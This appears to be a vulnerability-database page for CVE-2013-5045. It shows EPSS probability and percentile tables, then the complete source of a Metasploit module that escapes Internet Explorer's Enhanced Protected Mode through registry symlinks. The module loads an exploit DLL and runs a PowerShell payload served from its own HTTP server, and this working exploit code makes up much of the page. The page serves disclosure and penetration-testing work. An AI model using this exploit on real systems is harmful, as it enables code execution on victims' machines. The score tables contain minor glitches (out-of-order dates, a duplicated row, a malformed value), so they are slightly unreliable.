CVE-2013-5045 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	5.21%	–	–
2022-02-20	–	–	5.21%	–	–
2022-04-03	–	–	5.21%	–	–
2023-02-26	–	–	5.21%	–	–
2023-03-12	–	–	–	0.08%	–
2024-02-11	–	–	–	0.08%	–
2024-03-24	–	–	–	0.08%	–
2024-06-02	–	–	–	0.08%	–
2024-07-21	–	–	–	0.08%	–
2024-08-04	–	–	–	0.08%	–
2024-08-11	–	–	–	0.08%	–
2024-09-01	–	–	–	0.08%	–
2024-11-17	–	–	–	0.08%	–
2025-01-05	–	–	–	0.1%	–
2025-03-02	–	–	–	0.1%	–
2025-01-19	–	–	–	0.1%	–
2025-03-09	–	–	–	0.1%	–
2025-03-18	–	–	–	–	16.89%
2025-04-15	–	–	–	–	16.89%
2025-04-15	–	–	–	–	16.89,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	75%
2022-02-20	76%
2022-04-03	89%
2023-02-26	9%
2023-03-12	33%
2024-02-11	32%
2024-03-24	33%
2024-06-02	34%
2024-07-21	35%
2024-08-04	34%
2024-08-11	35%
2024-09-01	36%
2024-11-17	37%
2025-01-05	44%
2025-03-02	45%
2025-01-19	44%
2025-03-09	45%
2025-03-18	94%
2025-04-15	95%
2025-04-15	95%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer Sandbox which allows to escape the Enhanced Protected Mode and execute code with Medium Integrity. The vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll component, which can be abused to force medium integrity IE to user influenced keys. By using registry symlinks it's possible force IE to add a policy entry in the registry and finally bypass Enhanced Protected Mode. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Vulnerability Discovery and original exploit code 'juan vazquez' # metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'IE 8 - 11', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Dec 10 2013", 'References' => [ ['CVE', '2013-5045'], ['MSB', 'MS13-097'], ['BID', '64115'], ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] ] )) register_options( [ OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) ]) end def exploit print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') if mod_handle['return'] == 0 fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") end unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NotVulnerable, "Not running at Low Integrity") end begin Timeout.timeout(datastore['DELAY']) { super } rescue Timeout::Error end session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil) session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil) end def primer cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd) html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) temp = get_env('TEMP') print_status("Loading Exploit Library...") session.core.load_library( 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), 'TargetFilePath' => temp + "\\CVE-2013-5045.dll", 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false ) end def on_request_uri(cli, request) if request.uri =~ /\.html$/ print_status("Sending window close html...") close_html = <<-eos <html> <body> <script> window.open('', '_self', ''); window.close(); </script> </body> </html> eos send_response(cli, close_html, { 'Content-Type' => 'text/html' }) else send_not_found(cli) end end end